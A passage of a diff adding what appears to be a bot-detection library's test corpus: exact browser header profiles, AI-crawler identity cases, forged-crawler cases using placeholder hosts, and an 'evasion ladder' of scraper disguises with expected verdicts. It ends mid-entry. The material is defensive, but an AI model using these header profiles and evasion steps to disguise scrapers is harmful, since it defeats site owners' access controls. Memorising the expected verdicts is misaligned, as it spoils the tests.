+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-GB,en;q=0.5",
+    build: geckoBuild
+  },
+  // ---- WebKit ----
+  safariMac: {
+    userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Safari/605.1.15",
+    acceptDocument: SAFARI_ACCEPT,
+    acceptEncoding: "gzip, deflate, br",
+    acceptLanguage: "en-GB,en;q=0.9",
+    build: webkitBuild
+  },
+  safariIos: {
+    userAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Mobile/15E148 Safari/604.1",
+    acceptDocument: SAFARI_ACCEPT,
+    acceptEncoding: "gzip, deflate, br",
+    acceptLanguage: "en-US,en;q=0.9",
+    build: webkitBuild
+  },
+  safariIpad: {
+    userAgent: "Mozilla/5.0 (iPad; CPU OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Mobile/15E148 Safari/604.1",
+    acceptDocument: SAFARI_ACCEPT,
+    acceptEncoding: "gzip, deflate, br",
+    acceptLanguage: "en-GB,en;q=0.9",
+    build: webkitBuild
+  },
+  /** Chrome on iOS is WebKit underneath — the engine, and so the header order, is Safari's. */
+  chromeIos: {
+    userAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/152.0.7258.60 Mobile/15E148 Safari/604.1",
+    acceptDocument: SAFARI_ACCEPT,
+    acceptEncoding: "gzip, deflate, br",
+    acceptLanguage: "en-US,en;q=0.9",
+    build: webkitBuild
+  },
+  firefoxIos: {
+    userAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/140.0 Mobile/15E148 Safari/605.1.15",
+    acceptDocument: SAFARI_ACCEPT,
+    acceptEncoding: "gzip, deflate, br",
+    acceptLanguage: "en-US,en;q=0.9",
+    build: webkitBuild
+  },
+  edgeIos: {
+    userAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 EdgiOS/150.0.3296.60 Mobile/15E148 Safari/605.1.15",
+    acceptDocument: SAFARI_ACCEPT,
+    acceptEncoding: "gzip, deflate, br",
+    acceptLanguage: "en-US,en;q=0.9",
+    build: webkitBuild
+  },
+  duckduckgoIos: {
+    userAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Mobile/15E148 Safari/604.1 DuckDuckGo/7",
+    acceptDocument: SAFARI_ACCEPT,
+    acceptEncoding: "gzip, deflate, br",
+    acceptLanguage: "en-US,en;q=0.9",
+    build: webkitBuild
+  },
+  // ---- Chromium mobile ----
+  chromeAndroid: {
+    userAgent: "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-GB,en;q=0.9",
+    build: chromiumBuild(chromium("150", "150.0.7061.181", "Android", "15.0.0", true, { model: "Pixel 9" }))
+  },
+  chromeAndroidTablet: {
+    userAgent: "Mozilla/5.0 (Linux; Android 15; SM-X910) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-US,en;q=0.9",
+    build: chromiumBuild(chromium("150", "150.0.7061.181", "Android", "15.0.0", false, { model: "SM-X910" }))
+  },
+  samsungInternet: {
+    userAgent: "Mozilla/5.0 (Linux; Android 15; SM-S938B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/29.0 Chrome/147.0.0.0 Mobile Safari/537.36",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br",
+    acceptLanguage: "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
+    build: chromiumBuild({
+      brands: '"Chromium";v="147", "Not(A:Brand";v="24", "Samsung Internet";v="29.0"',
+      fullVersions: '"Chromium";v="147.0.6929.94", "Not(A:Brand";v="24.0.0.0", "Samsung Internet";v="29.0.0.0"',
+      platform: "Android",
+      platformVersion: "15.0.0",
+      mobile: true,
+      model: "SM-S938B"
+    })
+  },
+  operaAndroid: {
+    userAgent: "Mozilla/5.0 (Linux; Android 14; CPH2451) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36 OPR/91.0.0.0",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br",
+    acceptLanguage: "id-ID,id;q=0.9,en-US;q=0.8",
+    build: chromiumBuild({
+      brands: '"Chromium";v="146", "Not(A:Brand";v="24", "Opera";v="91"',
+      fullVersions: '"Chromium";v="146.0.6664.111", "Not(A:Brand";v="24.0.0.0", "Opera";v="91.0.4516.22"',
+      platform: "Android",
+      platformVersion: "14.0.0",
+      mobile: true,
+      model: "CPH2451"
+    })
+  },
+  edgeAndroid: {
+    userAgent: "Mozilla/5.0 (Linux; Android 15; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36 EdgA/150.0.3296.60",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-US,en;q=0.9",
+    build: chromiumBuild({
+      brands: '"Microsoft Edge";v="150", "Not(A:Brand";v="24", "Chromium";v="150"',
+      fullVersions: '"Microsoft Edge";v="150.0.3296.60", "Not(A:Brand";v="24.0.0.0", "Chromium";v="150.0.7061.181"',
+      platform: "Android",
+      platformVersion: "15.0.0",
+      mobile: true,
+      model: "Pixel 9"
+    })
+  },
+  /** UC Browser — very large user base across South and Southeast Asia. */
+  ucBrowser: {
+    userAgent: "Mozilla/5.0 (Linux; U; Android 13; en-IN; RMX3771 Build/TP1A.220905.001) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/100.0.4896.58 UCBrowser/13.7.5.1329 Mobile Safari/537.36",
+    acceptDocument: LEGACY_ACCEPT,
+    acceptEncoding: "gzip, deflate",
+    acceptLanguage: "en-IN,en-US;q=0.9,en;q=0.8,hi;q=0.7",
+    build: legacyWebkitBuild
+  },
+  miBrowser: {
+    userAgent: "Mozilla/5.0 (Linux; U; Android 14; en-in; 23049PCD8I Build/UKQ1.230917.001) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Chrome/125.0.6422.165 Mobile Safari/533.1 XiaoMi/MiuiBrowser/19.4.220521",
+    acceptDocument: LEGACY_ACCEPT,
+    acceptEncoding: "gzip, deflate",
+    acceptLanguage: "en-IN,en;q=0.9",
+    build: legacyWebkitBuild
+  },
+  huaweiBrowser: {
+    userAgent: "Mozilla/5.0 (Linux; Android 12; ELS-NX9; HMSCore 6.14.0.302) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.186 HuaweiBrowser/15.0.5.310 Mobile Safari/537.36",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br",
+    acceptLanguage: "zh-CN,zh;q=0.9,en;q=0.8",
+    build: legacyWebkitBuild
+  },
+  qqBrowser: {
+    userAgent: "Mozilla/5.0 (Linux; U; Android 14; zh-cn; 2211133C Build/UKQ1.230804.001) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.119 MQQBrowser/15.7 Mobile Safari/537.36",
+    acceptDocument: LEGACY_ACCEPT,
+    acceptEncoding: "gzip, deflate",
+    acceptLanguage: "zh-CN,zh;q=0.9",
+    build: legacyWebkitBuild
+  },
+  // ---- Consoles, televisions and embedded ----
+  silkKindle: {
+    userAgent: "Mozilla/5.0 (Linux; Android 11; KFRAWI) AppleWebKit/537.36 (KHTML, like Gecko) Silk/128.1.2 like Chrome/128.0.6613.146 Safari/537.36",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br",
+    acceptLanguage: "en-GB,en;q=0.9",
+    build: legacyWebkitBuild
+  },
+  tizenTv: {
+    userAgent: "Mozilla/5.0 (SMART-TV; LINUX; Tizen 8.0) AppleWebKit/537.36 (KHTML, like Gecko) 108.0.5359.1/8.0 TV Safari/537.36",
+    acceptDocument: LEGACY_ACCEPT,
+    acceptEncoding: "gzip, deflate",
+    acceptLanguage: "en-US",
+    build: legacyWebkitBuild
+  },
+  webOsTv: {
+    userAgent: "Mozilla/5.0 (Web0S; Linux/SmartTV) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.215 Safari/537.36 WebAppManager",
+    acceptDocument: LEGACY_ACCEPT,
+    acceptEncoding: "gzip, deflate",
+    acceptLanguage: "en-GB",
+    build: legacyWebkitBuild
+  },
+  playstation: {
+    userAgent: "Mozilla/5.0 (PlayStation; PlayStation 5/9.60) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15",
+    acceptDocument: SAFARI_ACCEPT,
+    acceptEncoding: "gzip, deflate, br",
+    acceptLanguage: "en-GB",
+    build: legacyWebkitBuild
+  },
+  nintendoSwitch: {
+    userAgent: "Mozilla/5.0 (Nintendo Switch; WifiWebAuthApplet) AppleWebKit/609.4 (KHTML, like Gecko) NF/6.0.2.23.4 NintendoBrowser/5.1.0.23519",
+    acceptDocument: LEGACY_ACCEPT,
+    acceptEncoding: "gzip, deflate",
+    acceptLanguage: "en-GB",
+    build: legacyWebkitBuild
+  }
+};
+var PROFILE_NAMES = Object.keys(PROFILES);
+function browser(name, options = {}) {
+  const profile = PROFILES[name];
+  const resolved = {
+    ...options,
+    host: options.host ?? HOST,
+    kind: options.kind ?? "navigate",
+    acceptLanguage: options.acceptLanguage ?? profile.acceptLanguage
+  };
+  return {
+    headers: profile.build(resolved, profile),
+    protocol: "https",
+    httpVersion: "1.1",
+    ...options.kind === "form-post" ? { method: "POST" } : {}
+  };
+}
+function userAgentOf(name) {
+  return PROFILES[name].userAgent;
+}
+function plain(userAgent, extra = [], host = HOST) {
+  const overridden = new Set(extra.map(([name]) => name.toLowerCase()));
+  const defaults = [["Host", host], ["User-Agent", userAgent], ["Accept", "*/*"]].filter(([name]) => !overridden.has(name.toLowerCase()));
+  return {
+    headers: [...defaults, ...extra],
+    protocol: "https",
+    httpVersion: "1.1"
+  };
+}
+function crawler(userAgent, options = {}) {
+  return {
+    headers: [
+      ["Host", options.host ?? HOST],
+      ["User-Agent", userAgent],
+      ["Accept", options.accept ?? "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
+      ["Accept-Encoding", options.encoding ?? "gzip, deflate, br"],
+      ...options.from !== void 0 ? [["From", options.from]] : [],
+      ["Connection", "keep-alive"],
+      ...options.extra ?? []
+    ],
+    protocol: "https",
+    httpVersion: "1.1"
+  };
+}
+
+// src/corpus/schema.ts
+var DENYING_ACTIONS = ["block", "drop", "redirect"];
+function human(input) {
+  return {
+    ...input,
+    audience: "human",
+    expect: {
+      neverAction: DENYING_ACTIONS,
+      ...input.expect
+    }
+  };
+}
+function bot(input) {
+  return input;
+}
+function repeat(template, count, everyMs, pathAt) {
+  return Array.from({ length: count }, (_, index) => ({
+    ...template,
+    ...pathAt ? { path: pathAt(index) } : {},
+    atMs: index * everyMs
+  }));
+}
+var HUMAN_GAPS_MS = [1400, 8200, 3100, 21e3, 2600, 47e3, 5900, 1100, 12400, 3800, 64e3, 2200, 9700, 1800];
+function humanPaced(template, paths) {
+  let at = 0;
+  return paths.map((path, index) => {
+    if (index > 0) at += HUMAN_GAPS_MS[(index - 1) % HUMAN_GAPS_MS.length];
+    return { ...template, path, atMs: at };
+  });
+}
+
+// src/corpus/ranges.ts
+var CORPUS_CRAWLER_RANGES = {
+  // Amazonbot is deliberately absent. Something has to exercise the third outcome —
+  // a claim that can be neither confirmed nor refuted because no list was supplied —
+  // and that outcome must never look like an accusation.
+  gptbot: ["198.51.100.0/25"],
+  "oai-searchbot": ["198.51.100.0/25"],
+  "chatgpt-user": ["198.51.100.0/25"],
+  claudebot: ["198.51.100.128/26"],
+  perplexitybot: ["198.51.100.192/27"],
+  "meta-ai": ["198.51.100.240/29"],
+  "facebook-external": ["198.51.100.240/29"],
+  duckduckbot: ["198.51.100.248/30"],
+  uptimerobot: ["198.51.100.252/31"],
+  pingdom: ["198.51.100.254/32"]
+};
+var IN_RANGE = {
+  gptbot: "198.51.100.10",
+  "oai-searchbot": "198.51.100.11",
+  "chatgpt-user": "198.51.100.12",
+  claudebot: "198.51.100.130",
+  perplexitybot: "198.51.100.194",
+  "meta-ai": "198.51.100.241",
+  "facebook-external": "198.51.100.242",
+  duckduckbot: "198.51.100.249",
+  uptimerobot: "198.51.100.252",
+  pingdom: "198.51.100.254"
+};
+var OUT_OF_RANGE = "192.0.2.66";
+var GOOGLEBOT_IP = "66.249.66.1";
+var GOOGLEBOT_PTR = "crawl-66-249-66-1.googlebot.com";
+var BINGBOT_IP = "40.77.167.1";
+var BINGBOT_PTR = "msnbot-40-77-167-1.search.msn.com";
+
+// src/corpus/ai-crawlers.ts
+function ai(id, title, userAgent, identity, provenance, notes) {
+  return bot({
+    id,
+    title,
+    audience: "declared-bot",
+    category: "ai-crawler",
+    provenance,
+    ...notes !== void 0 ? { notes } : {},
+    requests: [plain(userAgent)],
+    expect: { verdict: "confirmed-bot", certain: true, identity, detectors: ["self-identified"] }
+  });
+}
+var AI_CRAWLER_CASES = [
+  // --- OpenAI's three ---------------------------------------------------------
+  bot({
+    id: "gptbot-in-range",
+    requires: ["crawler-ranges"],
+    title: "GPTBot from OpenAI's published range",
+    audience: "declared-bot",
+    category: "ai-crawler",
+    provenance: "OpenAI publishes its crawler ranges at platform.openai.com/docs/bots",
+    notes: "Training crawler. Confirmable only because the ranges were supplied \u2014 with none configured this is an unverifiable claim, which is the next case.",
+    requests: [{ ...plain("Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot"), ip: IN_RANGE["gptbot"] }],
+    expect: { verdict: "verified-bot", certain: true, identity: "gptbot", detectors: ["crawler-verification"] },
+    tags: ["verification"]
+  }),
+  bot({
+    id: "amazonbot-no-ranges-configured",
+    title: "Amazonbot when no ranges have been configured for it",
+    audience: "declared-bot",
+    category: "ai-crawler",
+    provenance: "The library ships no address data; a claim it cannot check is left unchecked",
+    notes: "The third outcome, and the one most easily got wrong. Unverifiable is not the same as false: with no published list to compare against, the claim stands on its own honesty and the crawler is neither confirmed nor accused.",
+    requests: [{ ...plain("Mozilla/5.0 (Linux; Android 6.0.1;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)"), ip: "203.0.113.77" }],
+    expect: { verdict: "confirmed-bot", botClass: "declared-bot", certain: true, identity: "amazonbot", notDetectors: ["crawler-verification"] },
+    tags: ["verification"]
+  }),
+  bot({
+    id: "gptbot-forged",
+    requires: ["crawler-ranges"],
+    title: "A forged GPTBot from outside the published range",
+    audience: "hostile",
+    category: "ai-crawler",
+    provenance: "Claiming a crawler identity is the cheapest way to ask for privileged treatment",
+    notes: "Proven false, not merely suspected: the operator publishes the exhaustive list and this address is not on it.",
+    requests: [{ ...plain("Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot"), ip: OUT_OF_RANGE }],
+    expect: { verdict: "confirmed-bot", botClass: "impersonator", certain: true, identity: "gptbot" },
+    tags: ["verification", "impersonation"]
+  }),
+  ai("oai-searchbot", "OAI-SearchBot", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot", "oai-searchbot", "Search indexing for ChatGPT citations \u2014 declining this removes you from answers", "Distinct from GPTBot. Blocking both when you meant to block training is a common and costly mistake."),
+  ai("chatgpt-user", "ChatGPT-User", "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "chatgpt-user", "Fetches a page because a user asked about it, in real time", "Arguably a person holding a tool rather than a crawler. Rate-limiting it is reasonable; blocking it denies a reader."),
+  // --- Anthropic --------------------------------------------------------------
+  bot({
+    id: "claudebot-in-range",
+    requires: ["crawler-ranges"],
+    title: "ClaudeBot from its published range",
+    audience: "declared-bot",
+    category: "ai-crawler",
+    provenance: "Anthropic documents its crawlers and publishes ranges",
+    requests: [{ ...plain("Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"), ip: IN_RANGE["claudebot"] }],
+    expect: { verdict: "verified-bot", certain: true, identity: "claudebot" },
+    tags: ["verification"]
+  }),
+  ai("claude-user", "Claude-User", "Mozilla/5.0 (compatible; Claude-User/1.0; +Claude-User@anthropic.com)", "claudebot", "Fetches a page on a user's behalf during a conversation"),
+  ai("claude-searchbot", "Claude-SearchBot", "Mozilla/5.0 (compatible; Claude-SearchBot/1.0; +Claude-SearchBot@anthropic.com)", "claudebot", "Indexes pages so Claude can cite them"),
+  // --- The rest ---------------------------------------------------------------
+  bot({
+    id: "perplexitybot-in-range",
+    requires: ["crawler-ranges"],
+    title: "PerplexityBot from its published range",
+    audience: "declared-bot",
+    category: "ai-crawler",
+    provenance: "Perplexity publishes ranges for its indexing crawler",
+    requests: [{ ...plain("Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot"), ip: IN_RANGE["perplexitybot"] }],
+    expect: { verdict: "verified-bot", certain: true, identity: "perplexitybot" },
+    tags: ["verification"]
+  }),
+  ai("perplexity-user", "Perplexity-User", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Perplexity-User/1.0; +https://perplexity.ai/perplexity-user", "perplexitybot", "Real-time fetch on a user's request"),
+  ai("google-extended", "Google-Extended", "Mozilla/5.0 (compatible; Google-Extended/1.0)", "google-extended", "A robots.txt token controlling Gemini training, not a separate crawler \u2014 declining it does not affect Search ranking", "Worth understanding: this is a *policy token* Google honours, not a distinct fetcher. Confusing it with Googlebot loses your search traffic for nothing."),
+  ai("applebot-extended", "Applebot-Extended", "Mozilla/5.0 (compatible; Applebot-Extended/0.1; +http://www.apple.com/go/applebot)", "applebot-extended", "Apple's training-opt-out token, paired with Applebot for search"),
+  ai("ccbot", "CCBot (Common Crawl)", "CCBot/2.0 (https://commoncrawl.org/faq/)", "ccbot", "Feeds the Common Crawl corpus, which most open models were trained on"),
+  ai("meta-externalagent", "Meta-ExternalAgent", "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)", "meta-ai", "Meta's AI training crawler, separate from facebookexternalhit"),
+  ai("meta-externalfetcher", "Meta-ExternalFetcher", "meta-externalfetcher/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)", "meta-ai", "Fetches on a user's behalf inside Meta AI"),
+  ai("cohere-ai", "Cohere", "cohere-training-data-crawler/1.0 (+https://cohere.com/data-crawler)", "cohere-ai", "Training data collection"),
+  ai("diffbot", "Diffbot", "Mozilla/5.0 (compatible; Diffbot/0.1; +http://www.diffbot.com)", "diffbot", "Structured extraction sold as a product \u2014 a crawler with mixed robots.txt compliance"),
+  ai("ai2bot", "AI2Bot", "Mozilla/5.0 (compatible) AI2Bot (+https://www.allenai.org/crawler)", "ai2bot", "The Allen Institute's research crawler"),
+  ai("youbot", "YouBot", "Mozilla/5.0 (compatible; YouBot (+http://www.you.com))", "youbot", "You.com's search and answer crawler"),
+  ai("timpibot", "Timpibot", "Mozilla/5.0 (compatible; Timpibot/0.1; +http://www.timpi.io)", "timpibot", "Decentralised index crawler"),
+  bot({
+    id: "bytespider",
+    title: "Bytespider",
+    audience: "unwanted-bot",
+    category: "ai-crawler",
+    provenance: "ByteDance's crawler. Widely reported for aggressive rates and inconsistent robots.txt compliance, and it publishes no vendor documentation page at all.",
+    notes: "Classified `unwanted-bot` rather than `declared-bot` on its behaviour, not its honesty \u2014 it does identify itself. The distinction is a policy judgement the corpus records rather than a technical one.",
+    requests: [plain("Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)")],
+    expect: { verdict: "confirmed-bot", certain: true, identity: "bytespider" }
+  }),
+  bot({
+    id: "agentic-browser",
+    title: "An agentic assistant driving a real browser on a user's behalf",
+    audience: "declared-bot",
+    category: "ai-agent",
+    provenance: "The category that appeared during 2025 and grew fastest through 2026: an assistant operating a real browser to complete a task a person asked for. Some announce themselves; this one does.",
+    notes: "The hardest case in the corpus, and not a technical problem. Every signal says automation, and the honest description is 'a person, using a tool, that happens to be a browser being driven'. The library reports what it sees; whether that should be served is a question about your business, not your logs.",
+    requests: [
+      plain(
+        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Autonomous-Agent/1.0 (+https://example-agent.ai/bot)",
+        [["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-US,en;q=0.9"], ["Accept-Encoding", "gzip, deflate, br"]]
+      )
+    ],
+    expect: { verdict: "confirmed-bot", botClass: "declared-bot", certain: true },
+    tags: ["frontier"]
+  })
+];
+
+// src/corpus/adversarial.ts
+var CHROME_UA = userAgentOf("chromeWindows");
+var ADVERSARIAL_CASES = [
+  // ---------------------------------------------------------------------------
+  // Forged identities. The narrow case where a lie is provable.
+  // ---------------------------------------------------------------------------
+  bot({
+    id: "forged-googlebot-wrong-ptr",
+    title: "A forged Googlebot whose address reverse-resolves elsewhere",
+    audience: "hostile",
+    category: "impersonation",
+    provenance: "The commonest forgery: claim the crawler every site allows",
+    notes: "Proven, not suspected. Google publishes a DNS-based proof and the lookup returns a definitive contradiction.",
+    requests: [{ ...plain("Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"), ip: "192.0.2.44" }],
+    dns: { reverse: { "192.0.2.44": ["vps-4471.cheap-hosting.example"] } },
+    expect: { verdict: "confirmed-bot", botClass: "impersonator", certain: true, identity: "googlebot", detectors: ["crawler-verification"] },
+    tags: ["impersonation", "verification"]
+  }),
+  bot({
+    id: "forged-googlebot-no-ptr",
+    title: "A forged Googlebot from an address with no PTR record at all",
+    audience: "hostile",
+    category: "impersonation",
+    provenance: "Every address a verifiable crawler uses has a PTR record; a bare VPS usually does not",
+    notes: "NXDOMAIN is a definitive answer, unlike a timeout. That distinction is what separates this case from `googlebot-dns-unavailable`.",
+    requests: [{ ...plain("Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"), ip: "192.0.2.45" }],
+    dns: {},
+    expect: { verdict: "confirmed-bot", botClass: "impersonator", certain: true, identity: "googlebot" },
+    tags: ["impersonation", "verification"]
+  }),
+  bot({
+    id: "forged-googlebot-suffix-trick",
+    title: "A forgery whose PTR merely contains the operator's domain",
+    audience: "hostile",
+    category: "impersonation",
+    provenance: "googlebot.com.attacker.example resolves under a domain the attacker controls",
+    notes: "The reason domain matching is on label boundaries and not a substring test.",
+    requests: [{ ...plain("Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"), ip: "192.0.2.46" }],
+    dns: { reverse: { "192.0.2.46": ["googlebot.com.attacker.example"] }, forward: { "googlebot.com.attacker.example": ["192.0.2.46"] } },
+    expect: { verdict: "confirmed-bot", botClass: "impersonator", certain: true },
+    tags: ["impersonation", "verification"]
+  }),
+  bot({
+    id: "forged-googlebot-forward-mismatch",
+    title: "A forgery with a PTR it controls that does not resolve back",
+    audience: "hostile",
+    category: "impersonation",
+    provenance: "Anyone controlling reverse DNS for their own address can point it at googlebot.com; only the forward confirmation stops them",
+    requests: [{ ...plain("Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"), ip: "192.0.2.47" }],
+    dns: { reverse: { "192.0.2.47": ["crawl-1.googlebot.com"] }, forward: { "crawl-1.googlebot.com": [GOOGLEBOT_IP] } },
+    expect: { verdict: "confirmed-bot", botClass: "impersonator", certain: true },
+    tags: ["impersonation", "verification"]
+  }),
+  bot({
+    id: "forged-bingbot",
+    title: "A forged bingbot",
+    audience: "hostile",
+    category: "impersonation",
+    provenance: "The same trick against the second most-allowed crawler",
+    requests: [{ ...plain("Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"), ip: "192.0.2.48" }],
+    dns: { reverse: { "192.0.2.48": ["static.192-0-2-48.example.net"] } },
+    expect: { verdict: "confirmed-bot", botClass: "impersonator", certain: true },
+    tags: ["impersonation"]
+  }),
+  bot({
+    id: "forged-claudebot",
+    requires: ["crawler-ranges"],
+    title: "A forged ClaudeBot from outside the published range",
+    audience: "hostile",
+    category: "impersonation",
+    provenance: "AI crawlers are increasingly allowlisted, which makes them worth forging",
+    requests: [{ ...plain("Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"), ip: OUT_OF_RANGE }],
+    expect: { verdict: "confirmed-bot", botClass: "impersonator", certain: true, identity: "claudebot" },
+    tags: ["impersonation", "verification"]
+  }),
+  // ---------------------------------------------------------------------------
+  // The evasion ladder.
+  // ---------------------------------------------------------------------------
+  bot({
+    id: "scraper-copied-ua-only",
+    title: "Level 1: a scraper that copied a Chrome User-Agent and nothing else",
+    audience: "unwanted-bot",
+    category: "evasion-ladder",
+    provenance: "The overwhelming majority of scraping. One header changed, everything else default.",
+    notes: "Missing Accept-Language, missing Sec-Fetch, missing Client Hints, and Accept is */* on a navigation. Four observations \u2014 but *not* four independent ones: the first three are absences with one shared benign explanation, a stripping intermediary, so they collapse to their strongest member rather than compounding. That is why this scores in the sixties rather than the nineties, and it is deliberate: the same four absences arrive together from a corporate proxy in front of a real person.",
+    requests: [{ headers: [["Host", "shop.example"], ["User-Agent", CHROME_UA], ["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate"]], protocol: "https", httpVersion: "1.1" }],
+    expect: { verdict: "suspected-bot", certain: false, minScore: 60, detectors: ["header-integrity"] },
+    tags: ["evasion"]
+  }),
+  bot({
+    id: "scraper-copied-headers-wrong-order",
+    title: "Level 2: a scraper that copied the whole header set but not the order",
+    audience: "unwanted-bot",
+    category: "evasion-ladder",
+    provenance: "Copying headers out of devtools into a dict loses the order, because a dict has none",
+    notes: "Everything a browser sends, in an order no browser sends it in. Only the ordering rules and the missing hints are left.",
+    requests: [
+      {
+        headers: [
+          ["Host", "shop.example"],
+          ["Accept-Encoding", "gzip, deflate, br"],
+          ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"],
+          ["Accept-Language", "en-US,en;q=0.9"],
+          ["User-Agent", CHROME_UA],
+          ["Sec-Fetch-Site", "none"],
+          ["Sec-Fetch-Mode", "navigate"],
+          ["Sec-Fetch-User", "?1"],
+          ["Sec-Fetch-Dest", "document"],
+          ["Upgrade-Insecure-Requests", "1"],
+          ["Connection", "keep-alive"]
+        ],
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { certain: false, detectors: ["header-order"], neverAction: ["drop"] },
+    tags: ["evasion"]
+  }),
+  bot({
+    id: "scraper-perfect-headers",
+    title: "Level 3: a scraper that copied the header set, the order and the hints",
+    audience: "unwanted-bot",
+    category: "evasion-ladder",
+    provenance: "What a competent scraping stack sends in 2026, using a browser-impersonating TLS library",
+    notes: "Indistinguishable from a browser on a single request, and the library says so: no evidence, verdict unknown. Anything else would be an invented signal. Only behaviour over time can separate this, and behaviour cannot prove anything \u2014 which is exactly why it may not block.",
+    requests: [browser("chromeWindows")],
+    expect: { verdict: "unknown", maxScore: 0 },
+    tags: ["evasion", "known-limit"]
+  }),
+  bot({
+    id: "scraper-perfect-headers-machine-paced",
+    title: "Level 4: the same scraper, enumerating at a machine-perfect rhythm",
+    audience: "unwanted-bot",
+    category: "evasion-ladder",
+    provenance: "Perfect headers, and a request every two seconds to stay under a rate limit",
+    notes: "Rate counting sees nothing \u2014 thirty requests over a minute is unremarkable. Cadence sees a coefficient of variation near zero, which no person produces. This is the case where behaviour earns its place.",
+    requests: Array.from({ length: 20 }, (_, index) => ({ ...browser("chromeWindows"), path: `/products/${index + 1}`, atMs: index * 2e3 })),
+    expect: { certain: false, detectors: ["cadence"], neverAction: ["drop"] },
+    tags: ["evasion"]
+  }),
+  bot({
+    id: "scraper-perfect-headers-human-paced",
+    title: "Level 5: perfect headers, human pacing, one page at a time",
+    audience: "unwanted-bot",
+    category: "evasion-ladder",
+    provenance: "A distributed scrape: each address takes a handful of pages at irregular intervals and never returns",
+    notes: "Not detected, and the corpus records that plainly. At this point the difference from a person has stopped being technical \u2014 there is no signal left at the HTTP layer. What defeats this is cost, not detection: a proof of work, or an account.",
+    requests: [
+      { ...browser("chromeWindows"), path: "/products/501", atMs: 0 },
+      { ...browser("chromeWindows"), path: "/products/502", atMs: 7400 },
+      { ...browser("chromeWindows"), path: "/products/503", atMs: 23100 }
+    ],
+    expect: { verdict: "unknown", maxScore: 30 },
+    tags: ["evasion", "known-limit"]
+  }),
+  // ---------------------------------------------------------------------------
+  // Traps: detection by construction rather than by inference.
+  // ---------------------------------------------------------------------------
+  bot({
